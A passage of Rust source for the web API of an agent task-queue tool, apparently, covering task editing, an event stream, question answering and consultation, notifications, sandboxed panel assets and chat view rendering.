6808 ApiError::conflict(dup.render(
6809 "Nothing was saved. If it is not a duplicate, repeat the request \
6810 with \"force\": true.",
6811 ))
6812 })?;
6813 if let crate::dupes::Screened::Unjudged(why) = screened {
6814 tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
6815 }
6816 }
6817 judged = seen;
6818 }
6819 let force = body.force;
6820 mutate(ui, id, move |t| {
6821 if !force && body.instruction != t.instruction {
6822 match &judged {
6823 Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
6824 _ => {
6825 anyhow::bail!("the task changed while it was being checked; repeat the request")
6826 }
6827 }
6828 }
6829 t.edit(body.title.clone(), body.instruction.clone())
6830 })
6831 .await
6832}
6833
6834async fn queue_done(
6842 State(ui): State<Arc<Ui>>,
6843 Path(id): Path<String>,
6844) -> ApiResult<Json<TaskView>> {
6845 let home = ui.home.clone();
6846 mutate(ui, id, move |t| {
6847 t.succeed();
6848 crate::daemon::supersede_prior_runs(t, &home);
6856 Ok(())
6857 })
6858 .await
6859}
6860
6861async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
6869 blocking(move || {
6870 let id = resolve_task(&ui.queue, &id)?;
6871 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
6872 ui.queue
6873 .remove(&id, in_flight, &ui.questions)
6874 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
6875 Ok(StatusCode::NO_CONTENT)
6876 })
6877 .await
6878}
6879
6880async fn mutate(
6889 ui: Arc<Ui>,
6890 id: String,
6891 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
6892) -> ApiResult<Json<TaskView>> {
6893 blocking(move || {
6894 let id = resolve_task(&ui.queue, &id)?;
6895 let _claim = ui.queue.claim(&id).map_err(|e| {
6900 ApiError::conflict(format!(
6901 "{e:#} - a daemon is running this task, so it cannot be \
6902 changed from here yet; wait until it is released, then retry"
6903 ))
6904 })?;
6905 let mut task = ui.queue.get(&id)?;
6906 change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
6907 Ok(dup) => ApiError::conflict(dup.render(
6908 "Nothing was saved. If it is not a duplicate, repeat the request with \
6909 \"force\": true.",
6910 )),
6911 Err(e) => ApiError::bad_request_from(e),
6912 })?;
6913 ui.queue.put(&mut task)?;
6914 Ok(Json(TaskView::from(task)))
6915 })
6916 .await
6917}
6918
6919async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
6924 ui.monitor.ensure_worker(&ui);
6925 let mut broadcast_rx = ui.monitor.broadcaster.subscribe();
6926 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
6927
6928 let state = Arc::clone(&ui);
6929 tokio::spawn(async move {
6930 let initial_revisions = {
6931 let guard = match state.monitor.latest.lock() {
6932 Ok(g) => g,
6933 Err(p) => p.into_inner(),
6934 };
6935 guard.as_ref().map(|(r, _)| *r)
6936 };
6937 if let Some(revisions) = initial_revisions {
6938 let initial_payload = serde_json::json!({
6939 "queue_rev": revisions.0,
6940 "runs_rev": revisions.1,
6941 "questions_rev": revisions.2,
6942 "talks_rev": revisions.3,
6943 "notifications_rev": revisions.4,
6944 "loop_rev": revisions.5,
6945 });
6946
6947 if let Ok(event) = Event::default().event("change").json_data(initial_payload) {
6948 if tx.send(event).await.is_err() {
6949 return;
6950 }
6951 }
6952 }
6953
6954 loop {
6955 match tokio::select! {
6956 _ = tx.closed() => return,
6957 value = broadcast_rx.recv() => value,
6958 } {
6959 Ok(notif) => {
6960 let Ok(event) = Event::default().event("change").json_data(notif.payload)
6961 else {
6962 break;
6963 };
6964 if tx.send(event).await.is_err() {
6965 break;
6966 }
6967 }
6968 Err(tokio::sync::broadcast::error::RecvError::Lagged(_)) => {
6969 let revs = {
6970 let guard = match state.monitor.latest.lock() {
6971 Ok(g) => g,
6972 Err(p) => p.into_inner(),
6973 };
6974 guard.as_ref().map(|(r, _)| *r)
6975 };
6976 if let Some(revs) = revs {
6977 let payload = serde_json::json!({
6978 "queue_rev": revs.0,
6979 "runs_rev": revs.1,
6980 "questions_rev": revs.2,
6981 "talks_rev": revs.3,
6982 "notifications_rev": revs.4,
6983 "loop_rev": revs.5,
6984 });
6985 if let Ok(event) = Event::default().event("change").json_data(payload) {
6986 if tx.send(event).await.is_err() {
6987 break;
6988 }
6989 }
6990 }
6991 }
6992 Err(tokio::sync::broadcast::error::RecvError::Closed) => {
6993 break;
6994 }
6995 }
6996 }
6997 });
6998
6999 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
7000 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
7001}
7002
7003fn run_ids(runs: &FsPath) -> Vec<String> {
7009 let mut ids: Vec<String> = std::fs::read_dir(runs)
7010 .into_iter()
7011 .flatten()
7012 .flatten()
7013 .filter(|e| e.path().join("run.json").is_file())
7014 .map(|e| e.file_name().to_string_lossy().into_owned())
7015 .collect();
7016 ids.sort_unstable_by(|a, b| b.cmp(a));
7018 ids
7019}
7020
7021fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
7023 let path = runs.join(id).join("run.json");
7024 let body =
7025 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
7026 let state: RunState =
7027 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
7028 run::migrate_schema(state)
7033}
7034
7035#[must_use]
7043pub fn runs_unreadable(runs: &FsPath) -> usize {
7044 run_ids(runs)
7045 .into_iter()
7046 .filter(|id| read_run(runs, id).is_err())
7047 .count()
7048}
7049
7050fn plain_record_id(id: &str) -> bool {
7051 !id.is_empty() && id != "." && id != ".." && !id.contains(['/', '\\'])
7052}
7053
7054fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
7056 if plain_record_id(id) && runs.join(id).join("run.json").is_file() {
7057 return Ok(id.to_owned());
7058 }
7059 pick(run_ids(runs), id, "run")
7060}
7061
7062fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
7064 if plain_record_id(id) && queue.path_of(id).is_file() {
7065 return Ok(id.to_owned());
7066 }
7067 let ids = crate::queue::record_ids(queue.root(), "json").unwrap_or_default();
7068 pick(ids, id, "task")
7069}
7070
7071#[derive(Debug, Serialize)]
7082struct QuestionView {
7083 choice_effects: std::collections::BTreeMap<String, String>,
7084 record_revision: String,
7085 #[serde(flatten)]
7086 question: Question,
7087 detail_md: Vec<md::Node>,
7088 posting_view: Option<PostingView>,
7089 thread_bodies_md: Vec<Vec<md::Node>>,
7091 thread_notes_md: Vec<Option<Vec<md::Node>>>,
7094 waiting_on_agent: bool,
7104 holder: Option<&'static str>,
7108 deputies_enabled: bool,
7112 deputy_exhausted: bool,
7115 text_delivery: crate::question_delivery::Availability,
7116 run_is_task: bool,
7119 origin_chat: Option<String>,
7122 origin_chat_closed: bool,
7124 can_consult_chat: bool,
7126}
7127
7128#[derive(Debug, Serialize)]
7129struct PostingView {
7130 before_md: Vec<md::Node>,
7131 after_md: Vec<md::Node>,
7132 fields: Vec<crate::github_text::ComparisonView>,
7133}
7134
7135fn posting_view(question: &Question, base: &md::ImageBase) -> Option<PostingView> {
7136 let comparison = question.posting_comparison.as_ref()?;
7137 if !comparison.matches_detail(&question.detail) {
7138 return None;
7139 }
7140 let mut ids = std::collections::BTreeSet::new();
7141 if comparison.fields.is_empty()
7142 || comparison
7143 .fields
7144 .iter()
7145 .flat_map(|f| &f.pairs)
7146 .any(|p| !ids.insert(p.id))
7147 || comparison
7148 .fields
7149 .iter()
7150 .flat_map(|f| &f.original_triggers)
7151 .any(|t| !ids.insert(t.id))
7152 {
7153 return None;
7154 }
7155 let fields = comparison
7156 .fields
7157 .iter()
7158 .map(|f| f.view(comparison.excerpt))
7159 .collect::<Option<Vec<_>>>()?;
7160 Some(PostingView {
7161 before_md: md::to_nodes(question.detail.get(..comparison.start)?, base),
7162 after_md: md::to_nodes(question.detail.get(comparison.end..)?, base),
7163 fields,
7164 })
7165}
7166
7167impl QuestionView {
7168 fn of(question: Question, store: &ask::Questions, cfg: Option<&Config>) -> Self {
7172 let base = md::ImageBase::QuestionPanel {
7173 id: question.id.clone(),
7174 };
7175 let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
7176 Self {
7177 choice_effects: question
7178 .choices
7179 .iter()
7180 .filter_map(|c| {
7181 crate::choice_effect::describe(&question, c).map(|effect| (c.clone(), effect))
7182 })
7183 .collect(),
7184 record_revision: question_record_revision(&question),
7185 detail_md: md::to_nodes(&question.detail, &base),
7186 posting_view: posting_view(&question, &base),
7187 thread_bodies_md: question
7188 .thread
7189 .iter()
7190 .map(|t| md::to_nodes(&t.body, &base))
7191 .collect(),
7192 thread_notes_md: question
7193 .thread
7194 .iter()
7195 .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
7196 .collect(),
7197 deputy_exhausted: store.deputy_exhausted(&question),
7198 waiting_on_agent: question.waiting_on_agent(),
7199 holder,
7200 deputies_enabled: deputies_enabled(cfg, &question),
7201 text_delivery: crate::question_delivery::availability(store, &question, cfg),
7202 run_is_task: question.run_names_task(),
7203 origin_chat: None,
7204 origin_chat_closed: false,
7205 can_consult_chat: false,
7206 question,
7207 }
7208 }
7209
7210 fn with_origin(
7212 mut self,
7213 tasks: &[crate::queue::Task],
7214 talks: &[Talk],
7215 watches: &[crate::release_watch::WatchState],
7216 ) -> Self {
7217 let consult = crate::consult::origin_talk(tasks, talks, &self.question);
7218 self.can_consult_chat = consult.is_some();
7219 let talk =
7220 crate::consult::associated_talk_with_watches(tasks, talks, &self.question, watches);
7221 self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
7222 self.origin_chat = talk.map(|t| t.id);
7223 self
7224 }
7225}
7226
7227fn deputy_config(repo: &std::path::Path) -> Option<Config> {
7231 Config::discover(repo, None).ok().map(|(c, _)| c)
7232}
7233
7234fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
7236 crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
7237}
7238
7239fn question_views(
7242 qs: Vec<Question>,
7243 store: &ask::Questions,
7244 load: impl FnOnce() -> Option<Config>,
7245) -> Vec<QuestionView> {
7246 if qs.is_empty() {
7247 return Vec::new();
7248 }
7249 let cfg = load();
7250 qs.into_iter()
7251 .map(|q| QuestionView::of(q, store, cfg.as_ref()))
7252 .collect()
7253}
7254
7255fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
7265 if !q.status.open() {
7266 return None;
7267 }
7268 if q.cwd.is_none()
7269 && q.deputy.is_none()
7270 && lease.is_none_or(|l| !l.fresh(jiff::Timestamp::now()))
7271 {
7272 return crate::deputy::kind_of(q).map(|_| "nobody");
7273 }
7274 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
7275 Some(_) if q.deputy.is_some() => "deputy",
7276 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
7277 Some(_) => "asker",
7278 None => "nobody",
7279 })
7280}
7281
7282async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
7288 blocking(move || {
7289 let questions = ui.questions.list();
7290 let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
7291 Ok(Json(
7292 question_views(questions, &ui.questions, || deputy_config(&ui.repo))
7293 .into_iter()
7294 .map(|view| view.with_origin(&tasks, &talks, &watches))
7295 .collect(),
7296 ))
7297 })
7298 .await
7299}
7300
7301async fn questions_core(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
7303 blocking(move || {
7304 Ok(Json(question_views(
7305 ui.questions.list(),
7306 &ui.questions,
7307 || deputy_config(&ui.repo),
7308 )))
7309 })
7310 .await
7311}
7312
7313fn question_record_revision(question: &Question) -> String {
7314 use std::hash::{Hash as _, Hasher as _};
7315 let mut hash = std::hash::DefaultHasher::new();
7316 serde_json::to_vec(question)
7317 .expect("serializable question")
7318 .hash(&mut hash);
7319 format!("{:016x}", hash.finish())
7320}
7321
7322#[derive(Serialize)]
7323struct QuestionOriginView {
7324 id: String,
7325 record_revision: String,
7326 origin_chat: Option<String>,
7327 origin_chat_closed: bool,
7328 can_consult_chat: bool,
7329}
7330
7331async fn question_origins(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionOriginView>>> {
7332 blocking(move || {
7333 let questions = ui.questions.list();
7334 let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
7335 Ok(Json(
7336 questions
7337 .into_iter()
7338 .map(|question| {
7339 let consult = crate::consult::origin_talk(&tasks, &talks, &question);
7340 let can_consult_chat = consult.is_some();
7341 let talk = crate::consult::associated_talk_with_watches(
7342 &tasks, &talks, &question, &watches,
7343 );
7344 QuestionOriginView {
7345 record_revision: question_record_revision(&question),
7346 id: question.id,
7347 origin_chat_closed: talk.as_ref().is_some_and(|talk| !talk.status.open()),
7348 origin_chat: talk.map(|talk| talk.id),
7349 can_consult_chat,
7350 }
7351 })
7352 .collect(),
7353 ))
7354 })
7355 .await
7356}
7357
7358type QuestionOriginInputs = (Vec<Task>, Vec<Talk>, Vec<crate::release_watch::WatchState>);
7359
7360fn question_origin_inputs(ui: &Ui, questions: &[Question]) -> ApiResult<QuestionOriginInputs> {
7364 fn task_for_run(
7365 ui: &Ui,
7366 index: &mut Option<Vec<Arc<TaskRelation>>>,
7367 run: &str,
7368 loaded: &HashMap<String, Task>,
7369 ) -> ApiResult<Option<Task>> {
7370 if !plain_record_id(run) {
7371 return Ok(None);
7372 }
7373 if index.is_none() {
7374 *index = Some(ui.indexed_tasks()?);
7375 }
7376 Ok(index
7377 .as_ref()
7378 .expect("loaded index")
7379 .iter()
7380 .find(|task| task.runs.iter().any(|id| id == run))
7381 .and_then(|task| {
7382 loaded
7383 .get(&task.id)
7384 .cloned()
7385 .or_else(|| ui.queue.get(&task.id).ok())
7386 })
7387 .filter(|task| task.runs.iter().any(|id| id == run)))
7388 }
7389 let direct_task = |id: &str, loaded: &HashMap<String, Task>| {
7390 plain_record_id(id)
7391 .then(|| loaded.get(id).cloned().or_else(|| ui.queue.get(id).ok()))
7392 .flatten()
7393 .filter(|task| task.id == id)
7394 };
7395 let watches = crate::release_watch::states_for_questions(&ui.home, questions);
7396 let mut index = None;
7397 let mut tasks = HashMap::new();
7398 let mut talks = HashMap::new();
7399 for question in questions {
7400 for reference in crate::consult::question_task_refs(question, &watches) {
7401 let mut current = match reference {
7402 crate::consult::QuestionTaskRef::Task(id) => direct_task(id, &tasks),
7403 crate::consult::QuestionTaskRef::Run(id) => {
7404 task_for_run(ui, &mut index, id, &tasks)?
7405 }
7406 };
7407 let mut seen = HashSet::new();
7408 for _ in 0..=crate::followup::MAX_FOLLOWUP_GENERATION {
7409 let Some(task) = current.take() else {
7410 break;
7411 };
7412 if !seen.insert(task.id.clone()) {
7413 break;
7414 }
7415 let chat = task.chat_talk().map(str::to_owned);
7416 let followup = task.followup.clone();
7417 tasks.insert(task.id.clone(), task);
7418 if let Some(chat) = chat {
7419 if plain_record_id(&chat)
7420 && !talks.contains_key(&chat)
7421 && let Ok(talk) = ui.talks.get(&chat)
7422 {
7423 talks.insert(chat, talk);
7424 }
7425 break;
7426 }
7427 let Some(followup) = followup else {
7428 break;
7429 };
7430 current = match followup.origin_task {
7431 Some(id) => direct_task(&id, &tasks),
7432 None => task_for_run(ui, &mut index, &followup.run, &tasks)?,
7433 };
7434 }
7435 }
7436 }
7437 let mut tasks: Vec<Task> = tasks.into_values().collect();
7438 tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
7439 Ok((tasks, talks.into_values().collect(), watches))
7440}
7441
7442async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
7445 blocking(move || {
7446 let items = ui.notices.list();
7447 let unread = items.iter().filter(|n| n.unread()).count();
7448 let items: Vec<_> = items
7449 .into_iter()
7450 .map(|n| {
7451 let question = crate::notices::answerable_question(&n, &ui.questions);
7452 let mut item = serde_json::to_value(n)?;
7453 item["answerable_question"] = serde_json::json!(question);
7454 Ok(item)
7455 })
7456 .collect::<anyhow::Result<_>>()?;
7457 Ok(Json(
7458 serde_json::json!({ "unread": unread, "items": items }),
7459 ))
7460 })
7461 .await
7462}
7463
7464fn notice_error(e: anyhow::Error) -> ApiError {
7465 ApiError::not_found(format!("{e:#}"))
7468}
7469
7470async fn notification_read(
7472 State(ui): State<Arc<Ui>>,
7473 Path(id): Path<String>,
7474) -> ApiResult<Json<Notice>> {
7475 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
7476}
7477
7478async fn notification_dismiss(
7480 State(ui): State<Arc<Ui>>,
7481 Path(id): Path<String>,
7482) -> ApiResult<Json<Notice>> {
7483 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
7484}
7485
7486async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
7488 blocking(move || {
7489 let changed = ui.notices.mark_all_read()?;
7490 Ok(Json(serde_json::json!({ "marked": changed })))
7491 })
7492 .await
7493}
7494
7495#[derive(Debug, Default, Deserialize)]
7501#[serde(default, deny_unknown_fields)]
7502struct NewAnswer {
7503 choice: Option<String>,
7504 text: Option<String>,
7505}
7506
7507async fn question_answer(
7508 State(ui): State<Arc<Ui>>,
7509 Path(id): Path<String>,
7510 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
7511) -> ApiResult<Json<QuestionView>> {
7512 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7513 let answer = match (body.choice, body.text) {
7514 (Some(c), None) => Answer::Choice(c),
7515 (None, Some(t)) => Answer::Text(t),
7516 (Some(_), Some(_)) => {
7517 return Err(ApiError::bad_request(
7518 "send either `choice` or `text`, not both",
7519 ));
7520 }
7521 (None, None) => {
7522 return Err(ApiError::bad_request("send a `choice` or a `text`"));
7523 }
7524 };
7525
7526 blocking(move || {
7527 let id = resolve_question(&ui.questions, &id)?;
7528 let q = ui
7529 .questions
7530 .get(&id)
7531 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
7532 if !q.status.open() {
7533 return Err(ApiError::conflict(format!(
7537 "question {} is already {}",
7538 q.short(),
7539 q.status.as_str()
7540 )));
7541 }
7542 let cfg = deputy_config(&ui.repo);
7546 let (q, ()) = ui
7547 .questions
7548 .update(&q.id, |r| r.answer(answer))
7549 .map_err(ApiError::bad_request_from)?;
7550 let (tasks, talks, watches) =
7551 question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
7552 Ok(Json(
7553 QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
7554 ))
7555 })
7556 .await
7557}
7558
7559fn question_text_error(e: anyhow::Error) -> ApiError {
7561 let reason = e
7562 .downcast_ref::<crate::question_delivery::TextUnavailable>()
7563 .map(|e| e.reason);
7564 let error = ApiError::bad_request_from(e);
7565 if let Some(reason) = reason {
7566 ApiError {
7567 text_reason: Some(reason),
7568 ..error.with_status(StatusCode::UNPROCESSABLE_ENTITY)
7569 }
7570 } else {
7571 error
7572 }
7573}
7574
7575#[derive(Debug, Deserialize)]
7577#[serde(deny_unknown_fields)]
7578struct NewSay {
7579 body: String,
7580}
7581
7582async fn question_say(
7592 State(ui): State<Arc<Ui>>,
7593 Path(id): Path<String>,
7594 body: std::result::Result<Json<NewSay>, JsonRejection>,
7595) -> ApiResult<Json<QuestionView>> {
7596 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7597 blocking(move || {
7598 let id = resolve_question(&ui.questions, &id)?;
7599 let q = ui
7600 .questions
7601 .get(&id)
7602 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
7603 if !q.status.open() {
7604 return Err(ApiError::conflict(format!(
7608 "question {} is already {}",
7609 q.short(),
7610 q.status.as_str()
7611 )));
7612 }
7613 let cfg = deputy_config(&ui.repo);
7616 let (q, ()) = ui
7617 .questions
7618 .update(&q.id, |r| {
7619 if body.body.trim().is_empty() {
7620 return r.say(body.body);
7621 }
7622 crate::question_delivery::require(&ui.questions, r, cfg.as_ref())?;
7623 r.say(body.body)
7624 })
7625 .map_err(question_text_error)?;
7626 let (tasks, talks, watches) =
7627 question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
7628 Ok(Json(
7629 QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
7630 ))
7631 })
7632 .await
7633}
7634
7635async fn question_consult(
7644 State(ui): State<Arc<Ui>>,
7645 Path(id): Path<String>,
7646) -> ApiResult<(StatusCode, Json<QuestionView>)> {
7647 let (view, reclaimed) = blocking({
7648 let ui = Arc::clone(&ui);
7649 move || {
7650 let id = resolve_question(&ui.questions, &id)?;
7651 let q = ui
7652 .questions
7653 .get(&id)
7654 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
7655 if !q.status.open() {
7656 return Err(ApiError::conflict(format!(
7657 "question {} is already {}",
7658 q.short(),
7659 q.status.as_str()
7660 )));
7661 }
7662 let (tasks, talks, watches) = question_origin_inputs(&ui, std::slice::from_ref(&q))?;
7663 let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
7664 return Err(ApiError::conflict(format!(
7665 "question {} has no chat to ask",
7666 q.short()
7667 )));
7668 };
7669 let cfg = if q.consult.is_none() {
7673 Some(Config::discover(&talk.repo, None)?.0)
7674 } else {
7675 None
7676 };
7677 let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
7678 let claim = if fresh {
7679 match ui.begin_queued_talk_turn(&talk.id)? {
7680 Some(turn_guard) => {
7681 let talk = ui.talks.get(&talk.id)?;
7682 let cfg = match cfg {
7683 Some(cfg) => cfg,
7684 None => Config::discover(&talk.repo, None)?.0,
7685 };
7686 Some((talk, cfg, turn_guard))
7687 }
7688 None => None,
7689 }
7690 } else {
7691 None
7692 };
7693 let q = ui.questions.get(&q.id)?;
7694 let cfg = deputy_config(&ui.repo);
7695 let view = QuestionView::of(q, &ui.questions, cfg.as_ref())
7696 .with_origin(&tasks, &talks, &watches);
7697 Ok((view, claim))
7698 }
7699 })
7700 .await?;
7701 if let Some((talk, cfg, turn_guard)) = reclaimed {
7702 let talks = ui.talks.clone();
7703 let id = talk.id.clone();
7704 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7705 }
7706 Ok((StatusCode::ACCEPTED, Json(view)))
7707}
7708
7709fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
7711 if plain_record_id(id) && store.path_of(id).is_file() {
7712 return Ok(id.to_owned());
7713 }
7714 pick(
7715 store.list().into_iter().map(|q| q.id).collect(),
7716 id,
7717 "question",
7718 )
7719}
7720
7721async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
7736 blocking(move || {
7737 let id = resolve_question(&ui.questions, &id)?;
7738 let Some(html) = ui.questions.panel_html(&id) else {
7739 return Err(ApiError::not_found(format!("question {id} has no panel")));
7740 };
7741 Ok(panel_response(
7742 "text/html; charset=utf-8",
7743 false,
7744 html.into_bytes(),
7745 ))
7746 })
7747 .await
7748}
7749
7750async fn question_asset(
7778 State(ui): State<Arc<Ui>>,
7779 Path((id, name)): Path<(String, String)>,
7780) -> ApiResult<Response> {
7781 if !crate::ask::valid_asset_name(&name) {
7784 return Err(ApiError::bad_request(format!(
7785 "`{name}` is not a usable asset name"
7786 )));
7787 }
7788 blocking(move || {
7789 let id = resolve_question(&ui.questions, &id)?;
7790 let asset = ui
7791 .questions
7792 .panel_asset(&id, &name)
7793 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
7794 let Some(bytes) = asset else {
7795 return Err(ApiError::not_found(format!(
7796 "question {id} has no asset `{name}`"
7797 )));
7798 };
7799 Ok(panel_response(
7800 asset_content_type(&name),
7801 is_svg(&name),
7802 bytes,
7803 ))
7804 })
7805 .await
7806}
7807
7808fn asset_content_type(name: &str) -> &'static str {
7821 match extension(name).as_deref() {
7822 Some("png") => "image/png",
7823 Some("jpg" | "jpeg") => "image/jpeg",
7824 Some("gif") => "image/gif",
7825 Some("webp") => "image/webp",
7826 Some("svg") => "image/svg+xml",
7827 Some("css") => "text/css; charset=utf-8",
7828 Some("txt") => "text/plain; charset=utf-8",
7829 _ => "application/octet-stream",
7830 }
7831}
7832
7833fn is_svg(name: &str) -> bool {
7836 extension(name).as_deref() == Some("svg")
7837}
7838
7839fn extension(name: &str) -> Option<String> {
7841 name.rsplit_once('.')
7842 .map(|(_, ext)| ext.to_ascii_lowercase())
7843}
7844
7845fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
7862 let mut res = (
7863 [
7864 (header::CONTENT_TYPE, content_type),
7865 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
7866 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
7867 (header::REFERRER_POLICY, "no-referrer"),
7868 ],
7869 body,
7870 )
7871 .into_response();
7872 if download {
7873 res.headers_mut().insert(
7874 header::CONTENT_DISPOSITION,
7875 HeaderValue::from_static("attachment"),
7876 );
7877 }
7878 res
7879}
7880
7881#[derive(Debug, Serialize)]
7887struct TalkView {
7888 #[serde(flatten)]
7889 talk: Talk,
7890 turn_bodies_md: Vec<Vec<md::Node>>,
7891 turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>>,
7893 pending_messages_md: Vec<Option<Vec<md::Node>>>,
7894 thinking: bool,
7902 context: talk::ContextUsage,
7906 operator_name: Option<String>,
7909 persona_name: Option<String>,
7911 persona_avatar: String,
7914 operator_avatar: String,
7916 magi_avatar: String,
7917}
7918
7919impl TalkView {
7920 fn new(talk: Talk, thinking: bool, ui: &Ui) -> Self {
7923 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
7924 Self::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references)
7925 }
7926
7927 fn with_config(
7930 talk: Talk,
7931 thinking: bool,
7932 cfg: Option<&Config>,
7933 home: &FsPath,
7934 cache: &id_links::IndexCache,
7935 ) -> Self {
7936 let references = cache.for_talk(home, &talk);
7937 Self::with_references(talk, thinking, cfg, home, &references)
7938 }
7939
7940 fn with_references(
7941 mut talk: Talk,
7942 thinking: bool,
7943 cfg: Option<&Config>,
7944 home: &FsPath,
7945 references: &id_links::IdIndex,
7946 ) -> Self {
7947 let snapshot = talk.clone();
7949 for (index, turn) in talk.turns.iter_mut().enumerate() {
7950 let original = &snapshot.turns[index];
7951 if turn.messages.is_empty() {
7952 if let Some(display) = talk::notice_display(&snapshot, original, None) {
7953 turn.messages.push(talk::Message {
7954 sender: Some(talk::Sender::Magi),
7955 body: original.body.clone(),
7956 display: Some(display),
7957 attachments: original.attachments.clone(),
7958 reply: None,
7959 });
7960 }
7961 } else {
7962 for (i, message) in turn.messages.iter_mut().enumerate() {
7963 message.display =
7964 talk::notice_display(&snapshot, original, original.messages.get(i));
7965 if message.display.is_some() {
7966 message.sender = Some(talk::Sender::Magi);
7967 }
7968 }
7969 }
7970 }
7971 for message in &mut talk.pending_messages {
7972 if message.display.is_none()
7973 && (message.sender == Some(talk::Sender::Magi)
7974 || snapshot
7975 .completion_notices
7976 .iter()
7977 .any(|r| r.notice == message.body))
7978 {
7979 message.display = crate::prompt::legacy_notice_display(&message.body);
7980 if message.display.is_some() {
7981 message.sender = Some(talk::Sender::Magi);
7982 }
7983 }
7984 }
7985 if talk.pending_messages.is_empty()
7986 && snapshot
7987 .completion_notices
7988 .iter()
7989 .any(|r| r.notice == talk.pending)
7990 && let Some(display) = crate::prompt::legacy_notice_display(&talk.pending)
7991 {
7992 talk.pending_messages.push(talk::Message {
7993 sender: Some(talk::Sender::Magi),
7994 display: Some(display),
7995 body: talk.pending.clone(),
7996 attachments: talk.pending_attachments.clone(),
7997 reply: None,
7998 });
7999 }
8000 let excerpts: Vec<Vec<Option<String>>> = talk
8001 .turns
8002 .iter()
8003 .map(|turn| {
8004 turn.messages
8005 .iter()
8006 .map(|m| {
8007 m.display
8008 .as_ref()
8009 .map(|d| d.facts.chars().take(240).collect())
8010 })
8011 .collect()
8012 })
8013 .collect();
8014 for turn in &mut talk.turns {
8015 let provenance = talk::sender(turn, None);
8016 turn.sender = Some(provenance);
8017 for message in &mut turn.messages {
8018 message.sender = Some(message.sender.unwrap_or(provenance));
8019 }
8020 }
8021 let senders: Vec<Vec<talk::Sender>> = talk
8023 .turns
8024 .iter()
8025 .map(|turn| {
8026 if turn.messages.is_empty() {
8027 vec![talk::sender(turn, None)]
8028 } else {
8029 turn.messages
8030 .iter()
8031 .map(|m| talk::sender(turn, Some(m)))
8032 .collect()
8033 }
8034 })
8035 .collect();
8036 for reply in talk
8037 .turns
8038 .iter_mut()
8039 .flat_map(|t| t.messages.iter_mut())
8040 .chain(talk.pending_messages.iter_mut())
8041 .filter_map(|m| m.reply.as_mut())
8042 {
8043 if let Some(Some(excerpt)) = excerpts
8044 .get(reply.target.turn)
8045 .and_then(|ms| ms.get(reply.target.message))
8046 {
8047 reply.excerpt = excerpt.clone();
8048 reply.sender = Some(talk::Sender::Magi);
8049 }
8050 if reply.sender.is_none() {
8051 reply.sender = senders
8052 .get(reply.target.turn)
8053 .and_then(|messages| messages.get(reply.target.message))
8054 .copied();
8055 }
8056 }
8057 let context = talk::context_usage(&talk, cfg);
8058 let mut turn_bodies_md: Vec<Vec<md::Node>> = talk
8059 .turns
8060 .iter()
8061 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
8062 .collect();
